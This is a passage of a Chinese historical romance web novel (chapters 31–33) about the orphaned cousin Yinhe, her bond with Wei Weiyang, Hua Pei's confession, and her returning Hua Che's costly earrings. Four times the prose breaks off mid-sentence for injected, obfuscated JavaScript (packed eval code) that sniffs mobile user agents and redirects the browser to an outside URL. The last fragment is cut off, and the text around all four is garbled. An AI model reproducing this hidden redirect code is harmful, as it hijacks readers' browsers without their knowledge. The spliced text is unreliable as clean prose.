银荷未及答话，便见小朝远远跑来。小朝跑到近处，看到姑娘似乎刚刚哭完，跟前还站着一位公子，愣了一愣，气喘吁吁说：“大奶奶在到处找姑娘呢，快回去吧。” 银荷歉意地看一眼卫维扬：“卫大哥，回头再见吧，我得先走了。” 小朝要去捡起香炉等物，香还未燃尽，卫维扬说：“姑娘快去，别让她们着急了。这些我帮你收着。”银荷匆忙答应，和小朝急急离开。 卫维扬目送她身影转过小山，低头看见地上落着一条帕子，弯腰拾起：是方普通的白色丝帕，只在一角绣着花。如若不是手帕上还留有未干的泪渍，让他全心同情姑娘的孤苦，他几乎要为这刺绣而失笑了。 当然不是因为绣得不好，恰恰相反，绣作巧夺天工。他从未见过这种图样，比画出来的还妙，只用简单的线条勾出形状，精致而写意。其天真明快，流畅生动，又恰如这帕子的主人一般。 绿圆半卷，清芳新立，帕上是一株初绽的荷花。 卫维扬将手帕轻轻拢在掌心，心想下次见面，一定要找机会说出心里话才好。 再说花家一群人原本是在一片桃花园中，老太太略转转，就找个避风的地方坐下休息，其他人自去玩耍，不一会儿就向四处散去，银荷便是趁这时偷偷溜开的。 别人理会不到，花沛却留了意。他看表妹多时不见踪影，她的丫环却独自站着，四下顾盼、心神不定的样子，心中疑惑更甚。 再等了一会儿，仍不见表妹回来，他思忖片刻，便装作不经意地提醒了老太太。老太太果然唤了瑷宁去找。花沛偷偷跟着小朝，看她出了园子，不一会儿就见表妹匆匆回来，还在用衣袖拭泪。 花沛心中一颤，很想冲上前去询问。表妹虽然失去双亲，身世凄苦，可她性子坚强，很少在人前露出伤心。如今正是春光明媚时节，表妹却偷偷躲出去哭，定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17035904|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是发生了不一般之事。 这个小小的波澜很快就过去了，银荷掩去哭过的痕迹，若无其事地迎上众人，内疚地解释自己是好奇跑远了，为此只受了几句温和的数落，毕竟小姑娘本就贪玩。 只有花沛不信。就在这时，他无意中听到两个不相识的女子议论说看到了卫公子。 原来如此，又是那个卫维扬！ 京郊无一处不美，他偏巧来这里转悠。每次只要表妹出了门，他总能凑上来。他和表妹都说了些什么，能让表妹抛开闺阁少女的谨慎和矜持，在众人眼皮底下和他私会，甚至还在他面前落泪！ 没一会儿，花沛看到卫维扬和花瑶藏在一棵树下说话，这不啻于又往火上浇了一瓢油。 他走过去，正听到花瑶在问：“卫大哥见到我表姐了？” 卫维扬没答，他瞧见花沛上前，便先向他招呼致意。花瑶回头看见是虎起脸的兄长，脸一下变得煞白，要不是蝉影赶快扶住了她，她几乎要站立不稳。 花沛用严厉的目光催妹妹离开，才对卫维扬说：“舍妹顽劣惯了，不懂规矩，没有分寸，也从来不听管教，让卫大人见笑了。望卫大人看她姑娘家年纪小、不曾见过外人，对失礼之处还请多多担待。” 饶是卫维扬涵养再好，也不禁动了几分气，只是他不愿与花家的人交恶，便淡淡道：“令妹聪慧剔透，赤子心肠，卫某自愧不如。” “今日倒是凑巧，卫大人来此是为了？” “我来会一位朋友。请彦沣兄恕我不恭，改日再去府上拜见老太太。”卫维扬说罢便拱手告辞，唤跟随去牵马，一径去了。 花沛直瞪着卫维扬走远，这才冷笑一声，去寻其他人。这时已到晌午，众人便收拾着回去用饭歇息不提。 晚间，一行人在庄子里住宿。因没那么多屋子，银荷和花瑶挤在一间。两人有一句没一句说了会儿话，银荷见花瑶那边没了动静，自也睡去。 早先的习惯，银荷在旁边有人时一向睡得很轻。她刚合眼没多久，便被一阵低低的啜泣声唤醒。她轻轻动了动，哭声停了一瞬，随即又压抑不住地响起。 她坐起来，趴在花瑶身边轻拍着唤她：“瑶妹妹，你怎么了？出什么事了？” 花瑶顿住了哭声，略停一停，嘟囔着说：“没事儿，我大概是做梦魇住了。” 银荷摸摸她枕头都哭湿了，正要开口问，蝉影趿着鞋举盏小灯急忙走进来：“姑娘别怕，明儿咱们就回去。”待到近处瞧见花瑶满面泪痕，“哎呀”一声，“到底是怎么样，姑娘快别难过了。” 花瑶慢慢坐起来，四处摸着帕子要擦泪。银荷早一步看到，递给她：“瑶妹妹是为着何事……” “没什么，不干表姑娘的事。”蝉影不客气地打断她，坐在床沿上，低声柔和地安慰花瑶。 银荷见状，爬下床来，花瑶忙拉住。银荷笑着小声说：“没事，我就去那边睡，你别起来，看惊动了老太太。” 她按住花瑶，来到外间，小朝等在那儿打地铺，睡得正香。银荷悄悄爬到原先蝉影的位置躺下，辗转反侧。 她以为花瑶最近闷闷不乐还是因为戚晚的事，可看她这样伤心，却又不像。银荷想：若花瑶这样本该无忧无虑的姑娘也会在夜深人静时哭泣，世上的悲苦不知还有多少？ 她望着眼前的一片黑灰，直到里屋隐隐约约的低语完全消失，才强迫自己睡去。 次日用早饭时，她二人都面色苍白，老太太问，便谎称择席含混过去。 老太太担心道：“就怕冲撞了花神，迷了心。咱们还是都回去。” 两人怕大家扫兴，赶紧又分辩一番。 瑷宁笑道：“我倒睡得怪好，可见没冲撞了花神。两位妹妹花朵一般的人物，更不可能撞，我看还是择席。” 老太太说：“也罢，那瑶儿和由丫头就先回去吧，沛儿你送她们两个。难为他们收拾了半日，我们再多待一天，明日回。我看这里都妥当，沛儿你就在家吧，也别跑来跑去了。” 众人均无异议。饭罢，银荷和花瑶就各自收拾好东西，上了马车。一路上，花瑶不好意思和银荷说话，只做假寐。银荷也靠着车壁昏昏沉沉。 在花府门前下车时，花沛叫住花瑶，相当严肃地说：“三妹先回去歇息，有工夫了，去书房找我，我有几句话。” 31. 心事 花瑶听见花沛要她去说话，心中怕得不得了，回去后便有些哆哆嗦嗦的。二太太只当她又生病了，花瑶也不敢说，趁势装病，躺在床上。 然而这也不过拖延一时，万一兄长疑心她借病逃避，岂不是还增加了过错。花瑶急得几次想下床，可是一坐起来，又想见了兄长呢，该如何应答？——这是自己最怕人知晓的事，而兄长恐怕已经猜到了。 想到这儿，花瑶心内的羞和怕比以往任何时候都要严重上百倍，这还没敢想被父亲知道又将怎样……于是她复又倒下，只盼能拖一刻是一刻。 蝉影见她真要急出病来，出主意道：“我看大爷并不是生气，更不是对卫公子不满。只因大爷就姑娘一个亲妹妹，又当姑娘是小孩子惯了，这才时不时要叮咛几句，绝没有想教训姑娘的意思。 “姑娘要实在怕，不如这么着：我先去见大爷，就说姑娘身上不舒服。这也不是假话——大爷肯定听见太太叫大夫来着。大爷必定明白姑娘心里悔恨，就算真有气也消了，那时姑娘也容易申辩；省得姑娘直接过去，不说话好像心虚，说急了又像是犟嘴，再传到老爷那儿更不好。” 花瑶一听，正中她的担心，央告蝉影：“那你快去，见了我大哥，就说太太要我等着大夫。你注意瞧瞧我大哥神情，要是他生气，你就快回来，我再想办法。要是还好，你就说昨日与……卫公子说话，是因为刚巧碰见，再说，卫公子是四哥……” “不用姑娘吩咐，我都晓得。”蝉影从容地说。她只管不慌不忙的，低头看自己身上衣裙干净，便洗了洗脸，梳了梳头，并不施脂抹粉，拿镜子瞧瞧，是一脸秀气的模样，又放出一种谦逊而认真的态度，这才去找花沛。 且说银荷，不过在外面住了一夜，再回来便心说，还是自己的家好——她没想到不知不觉间竟然真把花府看作了自家。 这时候，往床上一倒，说不出的舒适、放松，便睡了一会儿。醒来后，还不到晚饭时分，小朝见旁边无人，偷偷问她：“昨儿和姑娘说话的公子是什么人，长得那样好看。” 银荷不禁乐了：“你才几岁，就管哪个公子长得好不好看。” 小朝嘻嘻一笑：“我是为姑娘欢喜欢喜。” “胡说！”银荷向她身上轻轻打一下，“那位是卫公子，四公子的朋友。” 谁知小朝竟跳起来，“卫公子原来是他，难怪，难怪！” “你知道卫公子？”银荷惊讶道。 “哎呀，”小朝捂住嘴，“我不该说的。蝉影姐姐说我要是敢说出去就揭了我的皮。” “原来是跟着蝉影学坏了，议论人家公子的相貌，也不嫌害臊。”银荷羞她。 小朝却认真地说：“蝉影姐姐逼我不能告诉别人，我告诉姑娘，可不算‘别人’。”她便道，“蝉影姐姐说，卫公子是天下第一好，这话不是她评的——随便问哪个见过卫公子的姑娘，她们嘴上不承认，心里可都是这样想。她说等我将来见到就服气了。”说罢，她不好意思地瞄银荷一眼，意思仿佛是：要怪全怪蝉影姐姐，我可没说姑娘是“嘴上不承认”的。 银荷脸有点红，虽没去细思，但立即觉得这话可真不能算错。她假作生气：“胡说八道！怪不得蝉影不许你往外讲，让谁听见，也得揭你的皮。” 小朝却又说：“不是为这个。是为之前有一回，蝉影姐姐还说过，等将来三姑娘出阁，嫁的人必然是天下第一好。” 银荷震惊。这才晓得花瑶的心事，自己竟一直没看出来。 小朝看看银荷脸色，又说：“不过卫公子他——反正绝对怪不得姑娘，要怪就怪月老去。” “去，去。越来越不像样了。”银荷推小朝，小朝笑嘻嘻跑掉，银荷自己也走出屋门。 她回想花瑶往日里的言语，又想起花瑶昨夜哭得那样柔肠寸断、粉泪盈腮。她还不知花瑶碰见卫维扬，又被花沛撞到的事，但直觉花瑶哭泣与卫维扬有关，不觉有些难受：瑶妹妹怎么不早说呢，要是我早知道，就不会…… 银荷的脸颊一瞬间变烫了：不会什么，难道我是有意要与卫大哥亲近？再说，与我何干，莫非我以为卫大哥当真对我特别？ 她随即又记起卫维扬满含关心、同情、尊重的眼神，心头涌上一股自傲之情：为何我就不能与卫大哥是很好的朋友？我并没有辱没卫大哥的情谊。 可一时又想：他果真是天下第一好，这话并不错，而我呢？我却能有幸得此知己…… 这般心里乱纷纷的，已经在屋前来来回回转了好多圈，可要被小朝笑话了，银荷便向外头走去。刚出了清圆居院门，就看到花沛站在数十步外，正在一小圈一小圈地踱着步。 银荷立即想到肯定是花瑶的事，快步走上去。但一直走到跟前，花沛才看到她。 他的脸色似乎不大好，银荷的心提了起来：“瑶妹妹怎么了？” 花沛微微地摇了摇头，又说：“表妹跟我来一下。” 银荷没明白，但花沛转身便走，步子也很快，银荷急忙要跟上他，也就不再多问。 两人一直走到了书房外院子，花沛才停下。他没有请银荷进屋的意思，站住对着银荷。 他的表情郑重，四周又非常安静，银荷不禁紧张：“瑶妹妹在里面？我去和她说几句话，会劝好她的。” 花沛一愣，说道：“她不在这儿，这里没人。她是有些太任性了，我会跟她说，要她以后不再和你争吵。你不用担心。” 银荷不禁愕然。两人说的好像不是一回事，却又不知是从哪里岔开的。 “表妹可还因为其它事不开心？”花沛接着问。 “没，大表哥可能是误会了，瑶妹妹没有和我争吵，别错怪瑶妹妹。” “昨日我见你好像哭了。” 银荷勉强笑道：“可能是我吹风迷了眼，揉了揉，好好的并没有哭。” 花沛狠了狠心说：“是那个卫维扬惹你哭了？” 见花沛这样想，银荷不得不解释清楚：“是我想起了亲人，一时有些伤心。卫公子路过时遇上，略劝了几句。” 瞅她不似说假话，看来并非与卫维扬事先有约，花沛神情放缓了许多：“我们也是你的亲人。” “是。我一直也是这样想的。”银荷话音很轻。她点点头，又对花沛笑了笑。 她原是准备说出告辞回去的话——并非不愿听花沛的告诫，然而，另有一件使她心烦意乱的事，她还不知是什么。这时看见花沛的目光，她的心一沉，匆匆道：“我先回去了。” “别走—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17040059|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她已半转过身，花沛突然抓住她的肩膀，“表妹等一下。” 银荷回过脸来，眼中的神情让花沛好似挨了一鞭子，立马松开了手，心中火烧一般羞愧。 可是总得有个头啊。 “我不是想要触犯表妹，表妹允我说几句话，好么？”花沛恳求地说。 “大表哥要说什么？我听着呢。”银荷完全转过身来，但她并没看花沛，只盯着地上的一个小点。 花沛再说话时，平日的镇静沉稳已恢复了八成：“要是有什么是我能为你做的，只要你开口。” “我晓得了。”银荷有气无力地说，心中的不安又扩大了一圈。 “你大概还不明白，”花沛的声音非常和缓而深沉，“不明白我可以为你做到什么地步。” 银荷抬头迅速地看他一眼，花沛脸上的神色绝不容人误解。 “这样，这样是不成的，我不能……”银荷结结巴巴说。 “我不是要让你——你只需答应我来照看你，有难处时能让我想想办法。” 银荷深吸一口气：“若我有难处，会告诉大嫂。” “当然，你说得对，这样最好，其余都不成……”花沛耳里嗡嗡响着，向后退了一步，茫然道。 “那我回去了。” “你的意思我都明白。”花沛仿佛没听到她的话，紧接着说，“不要因我烦心。你若不想看到我，我可以躲开。” “大表哥不必。”银荷说，“没有让表哥在自家躲避我的道理。” “你不要想着离开——”花沛着急地说，“那么像以前一样，请表妹务必答允。” 银荷没说话，轻轻点了点头。 花沛得到这个保证已经知足了，他没有再看银荷。“好了，表妹去吧。” 院子里又恢复了寂静。花沛呆呆立着，立了好久。 这院落当中，摆着块大英石，有人从石后探出半个脑袋，马上缩了回去。 “是谁？”花沛立即问。 片刻之后，蝉影哆哆嗦嗦走了出来。 “你来做什么？”花沛问。 “我，我来告诉大爷……姑娘要我……我什么都没听见。” 说完这句话，蝉影的脸变得雪白一片，知道再无侥幸，跪倒在地，流下泪来：“大爷，我不是有意，我什么都不知道。求大爷饶我，我真的什么都不会说。” 蝉影哭求了一阵，花沛不发一言。过了良久，蝉影鼓足勇气抬起头来，却见花沛一动不动对着她，脸上没有显出分毫喜怒哀乐。蝉影知道自己恐难逃脱，哭着说：“求大爷看我服侍姑娘这么些年，让我见姑娘最后一面。我只想和姑娘告个别，绝不多说半个字。” 也就一霎，她听见花沛严肃而低沉的声音：“要是听见有人说三道四，我只问你。” 蝉影看到了一线希望，急忙又抬起头。“大爷可以信我。” “你过——”花沛突然开口又突然停住，“你走吧。” 花沛转身走进屋子。 四周再无声息，在寂静的院子中，蝉影慢慢将眼泪流干。不知是什么阻止她起身，她的腿跪疼了，又换个姿势侧坐在地。许久许久，她才撑着慢慢站起来，慢慢拍拍裙上的土，慢慢擦净脸，然后疾步走入书房。 32. 归还 老太太和瑷宁等人，在庄上住了一两日，便回家来了。里里外外都没什么大事，本来日子该恢复如常。 不料薄暮时分，小朝急急忙忙跑进屋喊道：“不好了，大爷把蝉影姐姐撵走了。三姑娘哭得什么似的。” “为了什么？”银荷闻言吃了一惊。 “我不晓得。蝉影姐姐已经在外头等着，有人在给她收拾东西。姑娘帮她想想法子吧，或者去求求老太太。” “不行不行，我真没办法。”银荷拼命摇头。 小朝见姑娘没法子，看来事情已经无可挽回，不由便哭了一场。 银荷没心思劝她，料想花瑶更难过，亦不能前往安慰，自己坐立不安，心里真是无趣透了。 第二天，织雨从家回来，听说此事，也是惊诧，出去打问，回来埋怨小朝：“蝉影是自己求了太太，想要家去。太太说蝉影服侍三姑娘这么些年，不愿难为了她，不但答应，还赏了银子。哪有什么撵不撵的话，你也不问清楚，只管乱嚷嚷。” “那蝉影姐姐怎么不对三姑娘说明白？昨儿，连让她进来见三姑娘都不许。”小朝兀自不信。 “是蝉影自己不肯，她可能怕见了三姑娘伤心，那丫头也倔着呢。再说，她家里都在这儿，一下子又去不远，说不好哪天她还来串门，你不信，当面问问不就得了，哭什么。” 小朝便止了泪，想一想，又问：“蝉影姐姐一心一意要跟着三姑娘，从来没说过别的话，怎么会突然改了主意？” 织雨也觉得确实突然。不过，算不得奇怪：蝉影的父亲卧病在床，弟弟尚未娶亲，家中就母亲一人，恐怕照料不来。蝉影提出想回家，肯定是为帮母亲料理家事。 别人亦都这样想。何况，过一二日，看蝉影的弟弟长乐还留在府里，脸上乐乐呵呵的，不见分毫受了委屈的模样，那必然就是那么个缘故了。 银荷初时只担心花沛迁怒于蝉影，见不是为此，稍稍安了心。其他人也都知道，花瑶舍不得蝉影，等过段时日，她家里事少了，只要太太一发话，随时可以回来，也就看得平平常常，不再去想它了。谁也料不到，这里面会另有文章。 银荷自那日起，便有些别人看不大出的消沉。 她想：“我并没有对不住谁，假如我今日离开花家，良心上绝对是干干净净的。天下没有不散的筵席，便像蝉影，和瑶妹妹好成那般，说走也就走了。不过蝉影还能回来，再来看望大家，我呢？” 她心里难受，又从另一面想：“大表哥向来对我很和气，总是望着我好。那天，他不过是怕我和卫大哥太亲近，叫别人讲闲话，一时着急，话说得不仔细。我自己着急时，不也没那么多斟酌吗。再说，如今什么都好好的，也不常见大表哥，就是见了，他也是和见到瑶妹妹完全一般。何况，大嫂又那么好。” 在银荷心里，是真的把花沛当作了表兄，甚而当作了亲兄长。也不知这样，是不是为了能从心上减掉几分内疚。反正，她自然而然便这么想了。 这些话不能对任何一个人说，可是慢慢地，银荷自己将自己开解了五六分。她还反躬自省了一番，发现在其它方面，她的确有过错，譬如，对某些人…… 她想，等花澈回来，把东西还了他，从此后，就绝没有别的事了。 . 花澈回府时，三月已过去了大半。不过这也算不得长，没超过他给老太太承诺的三个月期限。 花澈在老太太跟前打了个转，回到自己屋里，又有一堆事情等着。他只留元宝在跟前听吩咐，并命任何人不得来打扰。 正说话，有个叫做四喜的小厮，在门口探了探头，马上猫腰退到外面了。过了半晌，元宝出来，拉四喜到一旁，作势要踢他：“不是说了爷没工夫，只管鬼鬼祟祟，听不明白话怎的，还不滚远点？” 四喜嬉笑道：“宝叔叔轻着些，别踢疼了你老的腿。好歹宝叔叔赏我点儿工夫，完了我就滚——是邱掌柜来了，想见宝叔叔，现下正在外头候着。” “什么秋掌柜，这还在春里头呢。到他该来的日子没有？没到就回去等。这个那个的都来，还不得乱了套，光应付这些，不用做事了。一概不见！”元宝说着，转身欲走。 四喜忙拽住他：“我斗胆讨个情，既然宝叔叔都出来了，不如就见他一面，他就说两句话。” “你收了他什么好处，过来害我。等下爷要派不是，是派你还是派我？” “自然派我，宝叔叔哪能被寻出不是？我只盼宝叔叔将来提拔提拔我，别人的好处还看不到眼里。”四喜满口奉承，看元宝没动，又说，“邱掌柜前两个月来过一趟，你老才出门去了。不知他托了哪个，说等你老回来，给他递个信儿。这不，你老刚回，他就找来了。” “他能有什么紧要事？”元宝口里这样说，心里知道那邱掌柜不是个啰嗦人，三番五次的，恐怕真有什么事，便走过去望望。 不到半盏茶工夫，元宝返身回来，仍进了书房，见花澈正书写信函，便没敢说话。花澈头也不抬问：“何事？” 元宝忙说：“正要秉爷，是集灵斋的邱掌柜。他说新店面开张没几天的时候，大爷去挑东西。刚来的伙计还没调教好，有眼无珠的，不识大爷丈六金身，只管擅自收了大爷银子。邱掌柜还没来得及上去招呼，大爷就走远了。邱掌柜不敢直接找大爷。他今日来赔个罪，还讨爷示下。” “什么没要紧的事，也值当？收了便收了，大哥又不短几个银子。”花澈不耐烦道。 “邱掌柜说，大爷虽不将银钱看在眼里，但他不能没上没下，怕爷知道了怪罪。我看他实在作难，两个多月心里头都不安稳，就先收了。”元宝说着将几张银票放到桌上。 “多少？”花澈随口问道。 “一千两百。” “他慌什么，东西不值这些？” “邱掌柜说大爷眼光高明，一眼就瞧中店里最好的东西——是付耳坠，上头的一对珠子难得，别处拿多少金子还买不到。其实要价并没怎样高，当然大爷的赏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17050461|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识才是无价，哪轮到他在大爷跟前张嘴。东西他愿意孝敬了大爷，还望爷恕他招待不周。” “他倒会装乖滑。”花澈说着停下笔，“刚才还没说完，年内要再修出两条作塘。” 元宝忙回：“已经使人传信去了，要他们明日带图样来商议。” “好。你把之前的簿子找给我看看。别再来烦我，要你到底是何用？” 过不得多久，元宝又瞧见四喜向他招手，他转头看花澈正忙着事，一时半会儿不像会有吩咐，便悄悄走出来。 一见四喜，元宝是火冒三丈，没客气，狠狠踢他一脚：“这回怎么？最好是宫里来人降旨，不然你可死定了。” 四喜说：“宝叔叔，可是奇了，来了位表姑娘要找爷。” “表姑娘？”元宝愣住。 四喜忙解释：“今儿太多人找爷，只管不消停，我实在顶不住了，让五福去对付一会儿，我替他在里门守着。五福说不会有人，可他刚走表姑娘就过来了。五福说，甭管老太太还是老爷有事叫爷，都回爷出门去了，他可没说表姑娘怎么办。我也不知爷是不是要见，怕出了错，这不先问你一声。” “哪个表姑娘？”元宝诧异道。 “我哪儿敢问。妈呀，长得和仙女不差什么。她说：‘劳驾，三表哥在不在，麻烦替我传一声。’——我活这么大，从来没叫这么样个姑娘劳驾和麻烦过呢。我怎么好说‘三表哥’不在家，谁能说得出口？”四喜仰慕中带着怜惜，小声笑叹。 “你小心着些。”元宝眼睛向他一横。又问，“你让她在外头等？” “那我该要她进来等？”四喜一脸懊恼，为难道，“我要她进来，万一爷不见，再要她回去？要她进来，咱们这么多人瞅着？我也不知该怎办，要是老太太或老爷有事，都是差个丫环过来嘛。” “要不，还请宝叔叔跟爷说声，说不定，爷真的要见表姑娘。”四喜又笑嘻嘻起来。自有位表姑娘给二爷做了二房奶奶的事情被阖府上下议论了好些天，表姑娘三个字便带着说不出的暧昧，惹人遐想。 元宝顾不得再训斥四喜。这时候他已经想到了，不会有别人，肯定是那位曲表姑娘，上回在马场远远瞧见过的。 元宝琢磨：就说呢，爷在矴州从来没有事，这次偏是往那边去。一路又神神秘秘的，不晓得去见了些什么人，连我也不叫跟着。这不正对上了，表姑娘可不是矴州来的？原来是表姑娘支使爷给她打探消息。表姑娘的事，自然不好让我们这些人知道。——恐怕事情还挺急，所以爷一回来，她就赶来听信儿。 于是不敢耽搁，当即去回。 不过到底没看见人，元宝不好一口说死，因只报：“爷，表姑娘来了。” “哪个表姑娘？”花澈立刻抬起头，脱口而出的，是和元宝刚才一模一样的话。 这一问，他自己先好笑，还能有哪个表姑娘，当然是那个假的。 元宝汗都下来了。 花澈紧接着说：“你带她进来。” 33. 最好 银荷跟着元宝进了间厅堂，见窗楹高敞，满室明辉，正是会客之处，元宝脚步却没停，银荷只好随着他穿厅而过，走过一小段回廊，又是间极开阔明亮的屋子，屋中摆张大桌，上有文房四宝，两面靠墙都立着书架，满满当当插着书本，花澈却仍未在此。元宝继续将她带至里间，放下门帘便退了出去。 这间内室地方也不小，又有几架书，大小共四扇相对的窗子，北面窗下设张长榻，南面大窗下置着一书案，和小窗之间隔一把椅子。这是银荷目光一扫之下看到的，其余不及细瞧，因为花澈正坐在案后。案上摊满了书本纸张，他往旁边一拨，便站起来，笑咪咪看着她。 “要妹妹久等了，下次妹妹来，不拘什么时候，只管进屋来。” 银荷不答，立在半丈远的地方，默默福身，正要说明来意，便听花澈又说了一串话：“妹妹近来可好？我一直惦着妹妹呢。本该一回家就先去瞧妹妹，又怕唐突，惹妹妹不喜，往后我会记住，怎好劳妹妹先来瞧我。不过妹妹今日过来，我实在不胜欢喜。妹妹请坐——” 一听他的语气，银荷就恼火。她已经打定主意，绝不再和花澈斗嘴置气，而要客客气气的，表示疏远的意思，但花澈一开口，她这边，疏远的决心虽增强了一倍，险些把客客气气给忘了。 她仍是站着，垂眼盯着地上：“托三表哥的福，我都好。三表哥这次出门倒没几天。不过我着急过来，不为别的，只是三表哥送去我那里的东西，不尽快归还的话，我一刻也难以心安。” “是么，我有点记不清了，哪样东西？”花澈亲热、随便地说，也没显出几分惊讶的样子。 银荷走上前，将一只盒子放在桌上，又退后几步，再一福身：“打搅三表哥，我回去了。” 花澈已将盒子拿在手里，打开一瞧，啪一声扣回盒盖，笑意从他眼中完完全全消失了。 “原来是说这个。”花澈复又坐下，将那只盒子在手里来回抛着玩。 银荷看他打开盒子后，脸色转瞬间冰冷，本来是该奇怪，但她却有解释：她想花澈肯定自认这般贵重的东西，绝无不肯收下之理，大概以为她与别的物件搞混了；待发现果真不要他的礼物，在他看，恐怕是被大大地驳了面子，自然很不高兴。 这也没办法。银荷要走，花澈说：“妹妹等等。”向她耳上望一眼，问，“为何不肯戴着呢，是不投妹妹喜好，还是怕别人问起来，不好答话？这有什么，我给家里人人都送一件，这下总可以放心？好了，妹妹留着吧。”说着，他将盒子放在桌上，朝银荷那边推了推。 “三表哥送给别人吧，我不要。” “我答应送妹妹一样礼物，妹妹总不好要我食言？妹妹不肯收这个，我只好另送一件。” “三表哥的心意我领了，但……” “分明没有领。”花澈笑着打断，“妹妹是知礼的人，不会这样轻易伤了别人心意吧？” 银荷忍不住要辩：“我和三表哥对心意的看法不同。” “那你是什么看法？” “至少不会随便给人贵重东西，硬说是心意，迫人领情。” “好吧，是随便了些。可惜，我只会送东西，不会陪上几句斯文话。不过我送人礼物，全凭自己高兴，不是为了要谁领情、还礼，亦没有其它任何企图，妹妹不用害怕扎手。” “我知道三表哥并无别意，但是我也不想要，请三表哥收回去。” “我拿这个又没什么用，你不要，我只好扔了。”花澈心烦不耐地说。 “三表哥的东西，随意处置就是。” “假使是别人送给妹妹，妹妹会戴上吗？” 因为东西实在贵重，银荷也不好说若长辈赐不可辞等话，摇摇头道：“我小小一个人儿，太糟蹋了。” “哪里的话，正好说反了。”花澈脸容和煦了许多。“仔细想想，能与妹妹相配的东西恐怕还未造出来过呢。——我从来不随便送人礼物，而且，我要送了，从来不让人家退回来。但是我可以为妹妹破例，你既不愿收，就算了。” “多谢三表哥体谅，我回去了。”银荷说。 “不用这样着急，可以多坐一会儿，妹妹愿不愿听听我出门的事。” “改日吧，不多打扰三表哥了。”银荷说着便走，刚转身，听花澈道：“这么说妹妹今日来，是为和我一刀两断？” 银荷停住，一口气堵在胸口。说白了正是这么个意思，甚至她在心里用的恰恰是同样一词。可凭什么他能猜到，还堂而皇之讲出来，好像两人之间真有什么似的。 她转回身，恳切道：“三表哥说得太重了。三表哥一直对我很友好，是我多有得罪之处，望三表哥能看在……望三表哥多担待些。” “还用看什么？”花澈站起身，一面绕出桌案，走向银荷，一面问，“咱们不是表兄妹吗？除过天地至亲，这算不算最要紧？——不过，说起表兄妹，我眼里，只有一个妹妹，妹妹眼里，可有好几位表哥吧？” 银荷无法作答。花澈已近至她身前，低头盯住她。从他低垂的睫间漏出的光，跟那宝剑的剑锋一样，薄，寒，快，只一闪就不见了，余一双眼睛深不见底。 花澈接着问：“你说，哪位表哥待你最好？” 银荷一愣。这种问题她想都没想过，岂料还真有人能问出来。 “别潦草决定。妹妹不妨先在心里头排一排。” “三表哥怎说这种孩子话，几位表哥对我都颇多照顾——”银荷突然结舌，心里丝一般乱纷纷的。当真去想，是说花澈待她最好？不然就是……最坏？ “总有个一二三四，想清楚没有，谁待你最好？是不是大表哥？”花澈追问。 银荷脸上有点红。 她知道花澈不过随口说说，他料不到别的情形。惟其如此，她更加心虚。惟其心虚，更要表现出理直。于是，她不含糊地答：“对。大表哥待我最好。大表哥待姊妹们一向都很好。” “可不是，比我强多了。”花澈自嘲地笑笑，走到门前，替她揭着门帘。“妹妹慢走。” 元宝见表姑娘出去，直至掌灯时分，花澈仍未唤人，心中犯起嘀咕，最终忍不住进屋一瞧，只见花澈坐在暗影中凝然不动。他硬着头皮走上前去：“爷，可要点上灯？” 花澈没说话。元宝瞧不清他面色，不敢再吭声，也不敢就退下，心里暗暗叫苦。 静默良久，花澈突然说：“你去瞧瞧大爷这一向在做些什么。” 元宝吓了一跳：“爷说咱们家里的大爷？” “对。大哥。我走后，这两个月。”花澈心不在焉地说。 这可比表姑娘那回还透着奇怪。元宝吃惊之下，斗胆又多嘴一句：“爷是怀疑那银子来路……” “不是。”花澈这才把目光转向元宝，“和银子无干，贪墨、舞弊都不用管，你只查清楚他在家里可有……异样。你自己去，不要叫别人知道。” “是，是。”元宝唯唯应下，自去想办法。 天团团黑下来，花澈终于站起身，烦躁地甩甩头，又想大笑一场。 好一个小丫头啊， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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花澈平静道：“祖母就是再舍不得妹妹，她也不能在咱们家一辈子。” 老太太真的动了气：“我还活着呢，还轮不到你指三画四。” “祖母别急。要让我说，妹妹在咱们家当然想待多久待多久，大哥必定也是这个意思吧？” 花沛良久才答：“听祖母的吩咐，还有……看表妹愿不愿意。” 花澈向老太太笑道：“我和大哥意见一般，就怕妹妹自己不愿呢？妹妹有委屈，也不好说出来。” “这家里除了你，谁还能让由儿受委屈？”说完，老太太疑惑起来，“你听由儿说了什么话？” 